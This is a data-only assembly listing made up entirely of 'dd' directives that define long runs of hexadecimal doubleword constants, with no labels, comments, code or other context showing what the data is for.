dd 33A17EC4h, 0F50BC816h, 797AB898h, 9CEFD082h, 0A7F6DCD1h
dd 1DF96D07h, 5F45514Ch, 0B9FCEBB4h, 1819F904h, 6A970072h
dd 89C60736h, 15EBD9Dh, 28DA0C65h, 33655280h, 0B2889ACh
dd 4D208D91h, 440BB606h, 0CF65548Ah, 45ECE77Bh, 66389780h
dd 2C14010Bh, 0BE5BBFA9h, 0ACF96DEAh, 0F6008C18h, 0D8FB03Fh
dd 905BF38Bh, 7E71F25Dh, 9D010B2Bh, 0D7650821h, 53593511h
dd 0E9342820h, 0E73B1441h, 0B11E1623h, 8D293FC1h, 11750901h
dd 0B615BA20h, 808CA1ADh, 49D5BFE3h, 0BFCA129h, 82FF673Ah
dd 994D9BFDh, 0EBAEDA50h, 2419C488h, 0E6095E17h, 3F55E01Dh
dd 13C2252Dh, 0CD051637h, 0E40A603Eh, 0F88B91A5h, 0F8FA1B61h
dd 69BC02A2h, 8A37BA44h, 31358Eh, 9227070Dh, 0BD010D57h
dd 686E1D11h, 0BF3EF29Eh, 2D1E00C2h, 0E800F91h, 49E919C9h
dd 6EF05252h, 0D9720FD5h, 0CCB67480h, 8D7689B2h, 352D509Eh
dd 90149191h, 1122F6h, 9D13F062h, 479CC7FFh, 1F01A575h
dd 6F20175Fh, 81663769h, 3D8D0904h, 29900015h, 0D71C05BDh
dd 805F9B0Eh, 317988A9h, 7389589Ch, 4C5564Ah, 1333F12Eh
dd 4D34E01h, 0A0200B8Dh, 72C44C96h, 0AE1CC926h, 0E02DC53h
dd 0B4B7E8BAh, 33EB813Eh, 283CB1BDh, 7FBC6C49h, 30EAA805h
dd 0D2A61CDEh, 42515BE0h, 95A8B002h, 844581E3h, 0D28871FCh
dd 85527B5h, 1A91799Dh, 2E7BA380h, 0F8283371h, 3D76A2DFh
dd 1C5E5182h, 0EAF2408Fh, 0F209C92h, 86388E59h, 0B8D2FB1h
dd 67E95EF9h, 0FBF86162h, 2C59AEC5h, 6A4B55B3h, 0C9A30B8Fh
dd 64496D88h, 9FA26017h, 892F5929h, 0DD1C5D16h, 0F0D23641h
dd 13EDEC2h, 0F5C71EA0h, 0CB8A0F1Dh, 805D235Ch, 0BDFCB87Bh
dd 85AC0E6Fh, 90A9F339h, 37B06007h, 8BED4050h, 66F70AFCh
dd 0BFD0F0D0h, 80FE0338h
dd 31B52BE3h, 1148884h, 8F491242h, 340028BCh, 0C620F8DEh
dd 0A0E86D46h, 0D3446Dh, 0A9BA09DFh, 0E294AF4Dh, 90259AB6h
dd 2A757B9h, 0FC0FD0D3h, 0AEC005AAh, 196571B5h, 0C31E5F96h
dd 76E42248h, 7B001A46h, 7F6036EDh, 890B7093h, 64070195h
dd 3485EEA7h, 0A11226E1h, 4504119h, 0F1E56624h, 6BF06DA8h
dd 0C4AAA767h, 0EEE601Ch, 187007E3h, 6DF5151Dh, 0B8882D48h
dd 0FBEF01ABh, 34551348h, 0ADF08B75h, 1E56E28h, 0CBDB13BFh
dd 78890F75h, 6EF2CB2Dh, 0C442A5EDh, 0E9386018h, 7E5309F4h
dd 3D05D3FFh, 9DBA56B9h, 0A82979D0h, 12AE853h, 19FEE3DCh
dd 6C075CE9h, 2215B1CFh, 0AC642C09h, 0C9258C15h, 88966728h
dd 8B86EA86h, 2CFE99Dh, 6680D781h, 4ED93E33h, 451E33A4h
dd 0BD33B4E0h, 0DAF8185Dh, 83586D90h, 91202DB3h, 6610113Fh
dd 8CB8AABEh, 12606244h, 5FA59D09h, 35C96EFFh, 0A08A33Ch
dd 60C810Fh, 0BD068B08h, 0ED9BCF81h, 0DC66517Ah, 771293DEh
dd 0F79E34E9h, 0F7850AC0h, 0B4240530h, 1D08D453h, 4F5F1414h
dd 0F948229Ch, 1FE92F4Bh, 851511EDh, 0BB34FEEh, 88059A40h
dd 0BC16DBBEh, 0FB86187Ch, 21C716EAh, 41CD88B9h, 0A100538Ah
dd 1816517Fh, 0F7A94C65h, 40F9E92Eh, 0F2B25FD4h, 8218EF00h
dd 0C64D7658h, 2A4126A9h, 8A3A650h, 0E90D10C5h, 6F4E73ADh
dd 6C51788h, 51371EC2h, 78D40034h, 0FB16BB14h, 4A2D810Eh
dd 0B50301B0h, 0D26823F1h, 80F49AD7h, 6FF7AA06h, 9E390026h
dd 3FBE168Ch, 7F16C7E0h, 8F3071E4h, 14E766Bh, 60199FD2h
dd 3C1142F8h, 0B5890B46h, 0B1229325h, 9E691D61h, 0FE5E0992h
dd 10124AE1h, 9BADA6h, 7BA9D0DDh, 2A467D8Ch, 14CF801h
dd 7EE82B4Eh, 9EF65270h, 4909274Eh, 1DC101CDh, 0D8D869D0h
dd 0FB8B27E9h, 1691439Dh, 0CB43B980h, 0D92D8589h, 1CD5A40Dh
dd 50990292h, 0D6649EBAh, 8021446h, 209BD89h, 455A865Eh
dd 6114C44Ch, 6F2AB0EFh, 4AB80048h, 7212C1AEh, 0ED6C7F40h
dd 10443921h, 78B80AEDh, 2FD9EB00h, 85312CB3h, 23A6A8F9h
dd 6152DB5h, 3FBCA31Bh, 23091423h, 0F85308FCh, 0DE109F4h
dd 0BF90E85Eh, 0E00E583Ch, 40B5F2D0h, 6B2147A8h, 0BD3117C2h
dd 5F67495Dh, 31617D1Ah, 29C1290Dh, 17D1DFC3h, 0DE123618h
dd 8521944Ah, 0D3F5C681h, 3D418A25h, 6A6922F5h, 25CD7462h
dd 0F9315803h, 796815FDh, 356B5CC8h, 8961808Ah, 0CBC6FF96h
dd 0D2F4E216h, 85B6689h, 12217CC0h, 4C585492h, 50522E2h
dd 0A4647EBFh, 2E8BA10Bh, 48003A6Eh, 3E2379AAh, 29485E56h
dd 3DC945A6h, 0A4D4218Fh, 1C465CD9h, 0DE8CC600h, 0B718EAC0h
dd 606BE413h, 61965D1Eh, 2EB69184h, 0B3F3DDE0h, 6C39907Eh
dd 118C2DA1h, 3E3E638Dh, 1A2309h, 0EBA2B1B4h, 48595A5Bh
dd 0D888939Ah, 8ECC0545h, 0C05B90A7h, 8969145Bh, 0B19D25h
dd 81C32B17h, 11BA0BCEh, 884C2AE1h, 5601344h, 6DBD01FCh
dd 0E970D22Eh, 0F2B82F64h, 0CF5EF739h, 0A5CD7030h, 0CA5A000Dh
dd 5087D206h, 441D0580h, 70096443h, 0A115F90Ah, 181971D8h
dd 1B2D0558h, 0C4787A6Fh, 551A968h, 7F35FB9Dh, 5A80A59Eh
dd 2D019D95h, 0A85FCA1Dh, 96BD8D4Fh, 0BE50D790h, 19B10BE4h
dd 58475E71h, 1DFC5F90h, 74AE0B8Ch, 0DD02642Fh, 0CEC22E23h
dd 4370576Ah, 6D033A9Fh, 65156007h, 0A00258FCh, 7163D328h
dd 0F1FBC02Eh, 0DA6A8220h, 0FEBC816Ch, 64C96226h, 0EFF4004Dh
dd 0F0D3472Ah, 0D7260EDAh, 311C68BFh, 905E2460h, 195D083Bh
dd 0A1116E24h, 1AA2FF43h, 6273230h, 0DFF1A057h, 212C5CC7h
dd 467CD51Eh, 68C90317h, 31F92B2Dh, 9BEFBFAh, 0E07D541Bh
dd 0C1A8AD67h, 0DDEE0B60h, 8DD11A62h, 6194A555h, 1D23692Eh
dd 5EB8BD00h, 9E64C6h, 0D9EA0371h, 0CB9CCABFh, 0E22A2F52h
dd 0A9143018h, 0FFA171Ch, 1D2D824Dh, 0DC8F6C20h, 0E480050Dh
dd 0CA4780A1h, 61243F13h, 0CF40E2E8h, 14A6DFEh, 0ECB116C1h
dd 2013A84Eh, 77E8A246h, 1508114Ah, 9D5F142Ah, 149CAD0Bh
dd 0E2C01D4Dh, 0B87D75CEh, 0BE57949Bh, 0A528BE02h, 0C97C6AB9h
dd 5E030E10h, 0FFF8B3E9h, 70A28Ch, 2E83FDEh, 5F0863Ah
dd 8BD64CB7h, 0D89884C1h, 2C6589E7h, 79A15E5Fh, 13E01E37h
dd 9400B2E1h, 0F5DC8407h, 4AF38BA4h, 239340E8h, 37951452h
dd 180B0A00h, 0CC87BEEEh, 1E5F0050h, 29631CC4h, 9892E59Dh
dd 0A21C33F7h, 0C2F8331Bh, 470BC886h, 4227B701h, 0D859DBBAh
dd 0B57129EAh, 68352FE1h, 0BE0059E2h, 0E165B8BAh, 16C0584Ch
dd 0CBFE05F2h, 0E6D5243Ah, 0A6D0B5C7h, 39BAF027h, 33E2597Ah
dd 2B4CD260h, 0AE9B07E4h, 9C1978h, 70BDCFD1h, 0A4E71352h
dd 0EE816001h, 332F1E1Ah, 16D08620h, 8561723Ah, 4173046Ah
dd 0E7900E1Ch, 0D94950FEh, 9F37009Fh, 0E97FFB54h, 0C7359097h
dd 0F1040EECh, 87E95F7Bh, 39E86191h, 0EF6E004Ah, 0B28A1FC4h
dd 33B09F0Fh, 2D248D29h, 8A690811h, 80C854C9h, 0BDDB00DEh
dd 0EE46F9E4h, 5E2DBC9Ch, 795C1AA2h, 0B85A04Eh, 0F8C70AF7h
dd 0A9BD3440h, 9A961043h, 0D1B080E8h, 1227DAFBh, 0B309054Fh
dd 581C4EB2h, 16E92760h, 561210E7h, 1523053Fh, 0E4541409h
dd 0D83D0010h, 12A469AAh, 0D702E557h, 334BEC5Ch, 0E253D1BAh
dd 0E9050159h, 6544E4h, 83B334EBh, 0F164AF9Dh, 0E507DB7Fh
dd 8BA12009h, 6CD475B4h, 3AE085A6h, 1316BBBFh, 829C0C83h
dd 2818418Dh, 0DA948074h, 99A1Ah, 6823E32Fh, 0F56F34B7h
dd 95525F5Ah, 6E6FDDF5h, 4B6600ADh, 0F6D38DFDh, 0F9DBA034h
dd 0BD83802Eh, 11297E2Dh, 0E911229Fh, 0A40BBD5Eh, 9849F78Eh
dd 12435C3Bh, 0B32B37BCh, 61C6D388h, 6BB09E5Eh, 0E934E758h
dd 0C4DB112Fh, 8E428FC0h, 1C0579BDh, 0CE01CC06h, 0A8083727h
dd 0CFE68294h, 51EA603Ah, 0FD986F63h, 0AAB7B6D3h, 65F21156h
dd 1CF50640h, 6BC0482h, 9B50B42h, 0C29E51D8h, 0E4DEC924h
dd 0ADCD2DA4h, 0A777DC11h, 166B3721h, 6DF89D5Bh, 5AD5A827h
dd 68288821h, 0B7005B78h, 0D86204C7h, 58E5CF89h, 7C90609Fh
dd 0B8C15B8h, 8D89834Eh, 0F7E94D90h, 0B1F643D2h, 93273EE0h
dd 0C000B87Dh, 2E08A1F0h, 481F18Bh, 4DDF60E6h, 1E77ED2Bh
dd 70D73D53h, 0BBE01EB6h, 0EA944A60h, 0E271E409h, 708EDBA6h
dd 0E87E0E25h, 0A947C704h, 94F23CC0h, 0BCB8535Dh, 0EB606207h
dd 0B77B8BE1h, 89608154h, 3E2CED85h, 5BF0E826h, 0B63912FBh
dd 0B427E056h, 3854002Eh, 2B81213Dh, 5071FCD8h, 2B0BE930h
dd 9A9C0Ch, 281875FBh, 98B23D7Bh, 28045E5Bh, 5CE48A0Fh
dd 9BB9E8h, 0FCCCF348h, 0FD00E3F1h, 749BFE55h, 0F93B41Ah
dd 0B70F5C57h, 0C0665FC9h, 6EFE14CBh, 0D41B9C22h, 2EB7C201h
dd 0FAC1C6B5h, 0F38C7C70h, 93B01CC8h, 5FB5D065h, 0BCD2ED00h
dd 0BAD86DB4h, 598B8292h, 43C6E06Dh, 2356A190h, 325A4678h
dd 911F3B27h, 0A979801Ah, 2DD19842h, 2C9FA293h, 58801811h
dd 1B090E34h, 11A48291h, 0A4906D17h, 28156C3h, 3C6663D6h
dd 4E4A5F71h, 0C8828B37h, 4AF5FF9Fh, 0DCE0546Ah, 13CB1D01h
dd 871434CEh, 207A6Ah, 0B3BB5F53h, 0B146D78h, 5815D8DEh
dd 3C802937h, 3BEC560h, 5592DBDh, 6F457399h, 277F417Bh
dd 9842F98Bh, 0B9721070h, 11AC1F95h, 0D88A801Dh, 0E6D11621h
dd 3237164Dh, 816CC46Ch, 6D0109D4h, 0CFE82D48h, 0F7DB6034h
dd 0AB7699B6h, 50EEB200h
dd 0BA666021h, 9C70997h, 4AB8595h, 9D935046h, 5F282A59h
dd 32D41680h, 960004BBh, 9AB1FC0Ch, 2D3472FEh, 5C9126F8h
dd 0F4DE2A73h, 61E00FC0h, 3F0187B7h, 899B3E5Bh, 162ED59Dh
dd 500662A2h, 8AC38EE2h, 5B5ED0EFh, 7160B533h, 0B941BF11h
dd 2B451CE8h, 0A9BD8BC3h, 0FFB75F48h, 19C466B6h, 0C1AE5652h
dd 6BF557BFh, 0BABCDF24h, 492704D3h, 7F32AB15h, 0B403DAE5h
dd 0BE66005Ch, 85C7FBF8h, 0B39CA395h, 311CD053h, 1B2128BDh
dd 49B8120h, 0D02D3816h, 0B71E9E13h, 123772A9h, 84EAD589h
dd 58AA8DD8h, 5FEFEC69h, 0F05B8BE4h, 0E4F21E35h, 0F3AFA20Fh
dd 0C4DB06A0h, 71000FFBh, 7CA11C22h, 59981805h, 1A944767h
dd 3317E8C0h, 2B3B27C6h, 0B5368FB3h, 6C9AE2DEh, 9858CC9Fh
dd 40793B36h, 0E6904212h, 63EEE06Bh, 0ABCD0462h, 0ADF78B77h
dd 0BEDDB8CFh, 90EB2056h, 31EB805Fh, 2E552D85h, 0BEFEF920h
dd 0AB1E9F7Ch, 0E32C0F06h, 3DE058h, 269F39D9h, 7C814869h
dd 9EBD6507h, 464CA868h, 935E48F0h, 128C16E8h, 0B62EA333h
dd 8675E095h, 32571379h, 0F4D6C94Ch, 0B2711FFCh, 0D159C700h
dd 0C68FA362h, 42D7005Bh, 8493BE86h, 0C69649E8h, 0CC053840h
dd 183F00CEh, 50710DF2h, 1D3BF64Ah, 0A0BE0153h, 419D0156h
dd 0D948ED6Ch, 5F073B6Eh, 0B50320FCh, 56BC21ADh, 7E4B00F4h
dd 0C0F5E0E3h, 6280EDBh, 9120DD5Eh, 0F0E92728h, 2A8987C1h
dd 48B9D427h, 68DAFADFh, 0F001D254h, 0EA9E6BE9h, 0FC9B100h
dd 33C23F5h, 0B3986A84h, 26D0E1FBh, 8200546Eh, 77CCE6A0h
dd 0F7D94Eh, 6D51233Dh, 0E4C799B3h, 40122C00h, 0A686A05Ah
dd 199800BBh, 6521D66Eh, 2B1F59F3h, 889F8B45h, 0D2ECCEh
dd 5D5B601Ah, 0B8BD0577h, 0F31655h, 0DD29BAB0h, 681C3FF9h
dd 2E800F15h, 0DFFE7176h, 0CD1A00B3h, 0D09B4924h, 0F87655CAh
dd 75866F00h, 0FB197811h, 0D17C07F5h, 20CFD5CCh, 0E41B35EFh
dd 12230A00h, 0E579B977h, 832E1F4Dh, 58F85E7Eh, 72C5746Dh
dd 0CFC1C730h, 60B3D615h, 25781DFEh, 0EB00BD1Fh, 4D4B5008h
dd 0AAAF69h, 2C719DB4h, 3681ECEh, 0DED7DB12h, 3000AFECh
dd 0B10E8389h, 0C5008467h, 637D28E0h, 0F669522Ch, 0B85C00ACh
dd 943E610h, 0E90E9B46h, 43454B05h, 0E0A6AB65h, 6FD0E104h
dd 5301844Fh, 80A40A4Dh, 5A12F711h, 18755755h, 6C43B6BBh
dd 140F456Eh, 622561BFh, 0FC4E5434h, 0C3989400h, 0E9A18400h
dd 3D42EDE4h, 0BAB9F62Ah, 0E13E6F03h, 11EA5F8Bh, 17838h
dd 85442BC2h, 0FEE1E69Eh, 3C3A003Fh, 9A989D55h, 0F400F9B1h
dd 0A5F74C81h, 16EC06BEh, 7A341Ah, 6487C6DFh, 64DCA14Dh
dd 4BD2D640h, 1C42F526h, 9FBFC55Bh, 0E61240E3h, 0DCC06834h
dd 0AE1E2200h, 0DE2B31B2h, 41F900E0h, 0E9C8EB2Ah, 2900B9BAh
dd 0EF3C4295h, 3550FF1h, 476B5250h, 21078D24h, 0E6EB96E9h
dd 0A7F29D30h, 0C8940037h, 8DD02DE2h, 0CB0E2871h, 9FE59F81h
dd 19D1BA40h, 126B1D14h, 1CC7CC84h, 30EA8F2Eh, 0A35D3F80h
dd 0A100A79Eh, 0B9715654h, 1DF758B4h, 0A816449Ah, 91412297h
dd 492B8B09h, 0ADAA0823h, 0CF7ACD80h, 39F79B8h, 3FAFFB9h
dd 1F00A908h, 2F7C82D5h, 1944C31h, 8AE71C8Fh, 0D0A45E40h
dd 17F2D6B8h, 7830190Eh, 0A0CCA073h, 0ABFB7Dh, 7258DF38h
dd 92070DB8h, 31913D48h, 71DC90BCh, 65DC414h, 9A4769EFh
dd 4C788F00h, 0EF30FE3Eh, 0ACB200DDh, 0C67E615Fh, 4D1070AFh
dd 1A000F64h, 742C15C7h, 2324216Eh, 80009A3Dh, 0E1DFE49Eh
dd 2190FAh, 48A56646h, 0B7621CFEh, 0C700D174h, 0C2D99375h
dd 1701496h, 604C3D2Eh, 20FEF85Ah, 87128C27h, 0C406E40h
dd 8D924A2Dh, 0EEA6098Fh, 8500EBE9h, 0AE6F4F46h, 0E50E5101h
dd 0C5015FB4h, 84EE4F24h, 462B3800h, 0FFE3A287h, 49400F45h
dd 0F700999Eh, 540EF4F2h, 2C594F00h, 0E8A085D7h, 67EFCCEh
dd 486BAAC1h, 15008569h, 702A10C2h, 74CC0B6Ah, 1D47658Dh
dd 0E18C5D2Fh, 0E2051C02h, 0A7E2A4CFh, 5F0BB480h, 2E5A059Fh
dd 0BA987F59h, 52495A00h, 26350DA2h, 8076102Fh, 5036DE29h
dd 0D00FA3C0h, 72D32ECh, 0A520858Bh, 0FFD1EBh, 135A5F19h
dd 21DA2A9Ch, 999A18F2h, 0BBC07800h, 0F83B98C5h, 0A70F312h
dd 0DC941C77h, 3CF680D6h, 0AD674B25h, 0ABB1A80Fh, 0D791E049h
dd 54EED4D2h, 0C789C02Dh, 80EFE66Ch, 0C3A88299h, 0E8FCB200h
dd 0F57EE24Eh, 0F7FA4Ah, 3AE9468Fh, 0DAA4A00Eh, 56DD2637h
dd 0F711CB20h, 64ED0219h, 40653D4h, 0D150CCA0h, 0D90AF04Fh
dd 8B8720B6h, 573C9601h, 0DD20F49Fh, 3751000Bh, 0AEC57F65h
dd 7BEC4C6Fh, 0F8E4EAC0h, 3F02A68Eh, 5B0085DCh, 240A0855h
dd 140C536Ah, 2A8BC0F1h, 765C00B6h, 0BE0B11BCh, 0B0000D56h
dd 0ACC68066h, 0C9FF90CEh, 157EBB96h, 4ED10580h, 3FED8EFh
dd 0F8575D15h, 45A8FCD5h, 2F008256h, 0A25C3E18h, 14A0A69Dh
dd 0FBA50C53h, 7C8A900h, 1A1B06AAh, 0F1E00300h, 4DD6455Eh
dd 3A9EEFAh, 2E32EACFh, 3AB03165h, 87198DDDh, 0F37D7B5Dh
dd 41E4894Ch, 207C8A4h, 641E0400h, 0D192784Ah, 86310EEBh
dd 9CEC3A81h, 441DF9E6h, 0D60C38EFh, 0B8A315DBh, 396AE44Ch
dd 0A68096B0h, 0A4F7289h, 26007E8Eh, 57D01844h, 26C543DEh
dd 58F5256h, 80DB3646h, 0C11644Ch, 697DA900h, 35FF41EDh
dd 93C24CC8h, 2523280Bh, 817F0480h, 0F300DA9Bh, 8D8B903Bh
dd 0F0EAEFA9h, 3A9700CCh, 0C3204DF7h, 3258F11Fh, 603C4CA7h
dd 708ADDDAh, 6000B176h, 2B947CD0h, 0D780819Bh, 0C1A781C0h
dd 0BE010007h, 2E5E919Bh, 9DECA0F3h, 0E3FDB701h, 674A6DACh
dd 390F2D74h, 914DB6BCh, 5D88B400h, 0FB4C8B38h, 51F6200h
dd 49B5A6AAh, 0FF421748h, 376700BEh, 0C5EB3E8h, 0DE0013ECh
dd 0B4FAF05Ch, 248620Dh, 0D1D69076h, 0FE8F2F6Eh, 0F6186580h
dd 53175812h, 6547855Ch, 0F725DAE0h, 475A8691h, 0F2FBAEFCh
dd 954000ECh, 0F2AC9290h, 0A3E0C1EDh, 89B66007h, 0BA617D34h
dd 1CC9FC02h, 52F23949h, 24390013h, 89432B66h, 0BDB88684h
dd 3DE3E138h, 61450048h, 0C2A4A2A7h, 5030008h, 66646923h
dd 0C07BC57Dh, 2025DD04h, 0D8C03B22h, 1289516Dh, 0D7C181E1h
dd 60E9C7C9h, 8B240C87h, 9A68CCE5h, 7B893040h, 1456743Ch
dd 1AC681E6h, 6EE5076h, 24341787h, 682F805Ch, 0E41D3386h
dd 468D5F07h, 589A4906h, 1C012281h, 0E7EC8358h, 0BAF914F3h
dd 1198F08h, 5A3A43C2h, 55303B8Bh, 0C581E58Ah, 2043BB3Fh
dd 86FF612Ch, 0F8C4835Fh, 473DEFE9h, 68098FFCh, 0B8D0216Dh
dd 9A8F3874h, 0E0A0C503h, 7BA3E82Ah, 9BC4B31Dh, 9DCBB900h
dd 0B569258h, 0C18B632Eh, 8E702373h, 0F251006Bh, 9E5CDCCh
dd 997A99Dh, 82B8596Fh, 8B9BE66h, 0DD705E7Bh, 318D2729h
dd 800F3002h, 6425CFF9h, 0C764C07Dh, 8B6090B4h, 5A61D125h
dd 0F8E1F365h, 0BD897C85h, 966CECCDh, 0EE056E6h, 877D26B5h
dd 91810F27h, 11DDBD26h, 0A7289806h, 0B79DC23Ah, 0D89000B3h
dd 7E10F687h, 21E55AC4h, 2EF8DC19h, 0E48B5956h, 0F5C018C8h
dd 50BF8502h, 40D5D887h, 503D901Fh, 248CAE52h, 310F4D00h
dd 16FDEBEh, 585A3992h, 47F78B50h, 128CE5B0h, 2F06CD7Ch
dd 0BF668B01h, 0C9DDF7Fh, 7A7C0281h, 405C3485h, 0D191736Bh
dd 0C3B1814h, 2DA59589h, 0D35BFF56h, 0B81F8DBh, 0C89C8FD9h
dd 0D12C539h, 7EE3FE8Bh
dd 1B3C3B51h, 16F025CEh, 9CF3E2E9h, 193AB184h, 3C2EF3EAh
dd 8B882C2Eh, 87514ABDh, 0A19D61E7h, 85DE3B16h, 9CDAEE80h
dd 6913B9E8h, 0EAE28BE9h, 4BF7A74Bh, 69803FDAh, 6B27868Bh
dd 0F518D813h, 802F23C9h, 2D285AF6h, 2C3CEB00h, 254EB3F1h
dd 3BB2091Eh, 65043357h, 515E0930h, 0E40D00E5h, 50E10109h
dd 0B43F5A02h, 5CF816A6h, 5077915Fh, 0D250FDF2h, 0BD1283A9h
dd 3DE23936h, 6C4F4E2Dh, 79121E60h, 0DC3C2D7Bh, 3AC9910h
dd 70CEF703h, 0F31EE7DDh, 7CA88A17h, 8D89624Dh, 0E9852377h
dd 533B272Bh, 639CB970h, 0A207108h, 2E5B85C7h, 0F78180E6h
dd 302DFE79h, 0F8391195h, 24C21649h, 290E8C8Dh, 2E20A7A1h
dd 40572972h, 97DBB7C1h, 8554BE6Ah, 484B27DCh, 2D25A278h
dd 2704C7D7h, 5740E9CDh, 2FFCF3F8h, 31A23AEh, 554092FCh
dd 13F0FC3Dh, 0B803B5ADh, 505EC5CAh, 0F3CBB4EDh, 9A53C829h
dd 64FEDA70h, 0F8F148B2h, 4BD48030h, 7F5ABDBh, 0CC493E19h
dd 5D5AFED2h, 34420F98h, 9F9A8800h, 0AF3DE51h, 0F72A07FFh
dd 23B017EFh, 0A7A48Bh, 154DB529h, 600024BDh, 23841A87h
dd 9661F504h, 0E4242322h, 0DECE71h, 60E8ADB5h, 0A56E9FF1h
dd 171242BCh, 0E3D87FA1h, 161E2572h, 0F8176444h, 0F19BC38Bh
dd 8660A780h, 0DF3AF07Eh, 0CEAC754Ch, 0E2CC0B95h, 70EBF384h
dd 852D29ACh, 0F82142ADh, 78D99B87h, 0C5E6B4CAh, 0CF813F00h
dd 7A78B2B1h, 9BD85F2Bh, 780C80CCh, 0B00DD71Ch, 18E2286h
dd 1047F958h, 611206DDh, 9DC50393h, 0FB150F5h, 388A728Ah
dd 5E5F9253h, 16AC37B9h, 0D4CF138Ch, 0BD9311A5h, 0B9EFA8Ah
dd 4AD310A9h, 9F7D78A7h, 3822646Bh, 0B5890D06h, 2BBD2D9Dh
dd 0CA03147Ah, 0E5CB4FEDh, 3B0884B0h, 62F73558h, 44146578h
dd 0CB109D83h, 5D00FFF3h, 0A936045Bh, 382BA051h, 0AAA4826Ah
dd 0F34D2D87h, 37D659C0h, 69680495h, 0B992254Ah, 1ED102Dh
dd 330DE919h, 809FEC95h, 8B42FA0Bh, 34C30121h, 9E25D793h
dd 25FDE141h, 0DAD88103h, 395E014Fh, 21B51F8Ch, 192C1361h
dd 884F0B11h, 1A055218h, 9BA886A2h, 8E4111E9h, 16F6F55h
dd 3CA4E03Dh, 0A851163Dh, 766D5102h, 58A9E1B6h, 4080FB7Ch
dd 0C16A8824h, 0AC73B600h, 476763C9h, 8BB2586h, 1046DE69h
dd 0B707B9F8h, 0B9376BDh, 0E21D2FF9h, 24B5D619h, 13BEA8ACh
dd 0A2AC8C0Fh, 0BDCBE7A0h, 69389425h, 9C2EFDCAh, 0B200C400h
dd 6B91DB79h, 255C5392h, 0A9615E57h, 7A232BF9h, 0DB314AB3h
dd 6A5E80BBh, 0B69C1C7h, 0F08B9381h, 6DF6A001h, 25766660h
dd 7481C20Bh, 891EADEh, 5B1310C1h, 532B75E0h, 1CA2A7C3h
dd 1B16130h, 6C4275C5h, 92CB2127h, 99B6F752h, 0DE5E3A38h
dd 83E18030h, 0BE889CBh, 0EFED6ABCh, 0BE800AD9h, 653A1A5Fh
dd 943348E9h, 491CCDC4h, 0DEBCDEC0h, 94C58A50h, 0D3108104h
dd 8181E46Bh, 342B049Dh, 0C03DDBDFh, 0B58D09C1h, 27DAB92Dh
dd 337102C8h, 89709602h, 8B12699Dh, 27F2B463h, 0FDDB5A85h
dd 0DE30CED9h, 4C3AFC36h, 0BD17EB68h, 0F210A61Eh, 0AF01301Bh
dd 0E1749802h, 0C09B774Dh, 95F53157h, 7ED95060h, 157150B3h
dd 0EC481318h, 0D81D386Ch, 8589A046h, 5285BDE5h, 2DD66F90h
dd 1B56407h, 278FEA41h, 0DBFCCF2Ah, 3B21F790h, 3C1C3C24h
dd 17193108h, 95C1025Fh, 760915F5h, 0B806607Eh, 3A5EF621h
dd 7E8F5A9Bh, 0D4E54260h, 0FADCA2DBh, 83652350h, 0E8D4B910h
dd 0E544D2C2h, 1D424180h, 4629022Bh, 4B95EC48h, 0F8F8092Dh
dd 50800D37h, 0B8359A7Eh, 20F926E6h, 0BF5D3A1Dh, 0BE16F9BCh
dd 2DE0CE78h, 5206E1E5h, 0CF9BF14Eh, 466AC09Ch, 0DC096919h
dd 0C9D2881Bh, 2029CA5Ch, 0E9AADABFh, 1E85315Eh, 1308BE82h
dd 0D1B5B212h, 0DF289DF2h, 9B604BA0h, 0B59680C5h, 0A0AC9CBEh
dd 0DDB8195h, 0FEB95329h, 605ECA7Ch, 72EB0BDCh, 1109A81Fh
dd 0FA067946h, 13598D21h, 40A396BEh, 77E5B71Fh, 0EB294300h
dd 9D2798D8h, 1510B72Bh, 0FB00AAB2h, 0BE2C33E5h, 1A3BD6B5h
dd 525E588Bh, 0F5BFA7D5h, 7A7A61ADh, 74D50EDDh, 75FD80ECh
dd 209D8B6Ah, 83132C35h, 8C0801E1h, 9D01FC29h, 0E064C018h
dd 0BB40BD6Ch, 39B815E2h, 6754D38Bh, 53CB9809h, 6223E01h
dd 0ADCF8100h, 6115D6C7h, 36B79F60h, 0AFF4C500h, 15CB9D5h
dd 4D881EEh, 233B2321h, 858B0902h, 0F938A555h, 8BDB804h
dd 92E88100h, 5106330Ch, 25E5BA66h, 0F6EA9720h, 13BF095Dh
dd 3B394F22h, 3B17230Eh, 0D2D828Ah, 0BA3B6586h, 0F200297Bh
dd 9866B78Ah, 414EA775h, 0E04588h, 0A69284FDh, 0A2A99914h
dd 0E1587303h, 3CFA8EC9h, 8B2AF83Eh, 3602E75h, 4CDD220Fh
dd 75157161h, 24C9DE1Ch, 0CC6740EFh, 7EE66710h, 0E7801450h
dd 8B12FC8Ah, 0E9D874D9h, 1D99A85Bh, 5B05934h, 82BF0F1Dh
dd 0E5D28D3Eh, 0E9B37B5h, 2A60E38Fh, 58523D3h, 5835849Eh
dd 800585FDh, 4F8B08F6h, 39E52935h, 29B7204h, 8B6FB421h
dd 0B1892053h, 85321995h, 0FD92EE0Ah, 7E23921Ch, 862C0E0Fh
dd 0AC884182h, 0B6445C8Ch, 1C86EBEh, 59B84EFCh, 0A88FE5BCh
dd 0DA9565C0h, 8920DAD6h, 2CE64C1h, 0BC6E8409h, 0B1899030h
dd 8927F7DAh, 18DFADBDh, 9B2F0671h, 6449C3ADh, 5176F81Bh
dd 47C5A3D7h, 1F35D668h, 0A66EAF33h, 0FEC60806h, 0ACD45C06h
dd 8C16F83Fh, 0D4F75C3Eh, 668A384Ch, 96790029h, 5DC0E7AFh
dd 820B6DA6h, 5E468A1Bh, 801F4E11h, 0C7C6533Ch, 1F00CAEDh
dd 4E51AFB0h, 13F2EB7Bh, 36A45CEh, 5F64DE7Ch, 47800F89h
dd 94D85454h, 0A6EAFD1h, 0A218402h, 0CD5385C7h, 77889A3h
dd 61DE27D2h, 8870C873h, 340309FBh, 1180920Bh, 0B6EA80D7h
dd 6DB50913h, 98EB69E0h, 0E99D387Dh, 0A67B4Eh, 0AEF161D2h
dd 9C03EFEh, 2C899D09h, 4F80063Dh, 0DE807014h, 0C18B2D8Ah
dd 5E712404h, 35A6C057h, 0F6CA0E4h, 0A58C894Ah, 4C294119h
dd 11765524h, 8669AC00h, 0FAA690E5h, 2CD7828h, 6EC261A5h
dd 0C7D1F3F2h, 0BF59F581h, 0BF845AFh, 0B1BD2D83h, 7506CD0Eh
dd 0C5221209h, 19740C01h, 0B8CA5350h, 8D043830h, 8020F585h
dd 62129D8Dh, 35A0E2BCh, 2258565Bh, 20871720h, 0C7B95188h
dd 1D65B203h, 88E409h, 2FC08973h, 60179FB0h, 5DC21602h
dd 0DBD7C7A0h, 0D64D70D6h, 5A008375h, 0A4DD8785h, 6A0AB966h
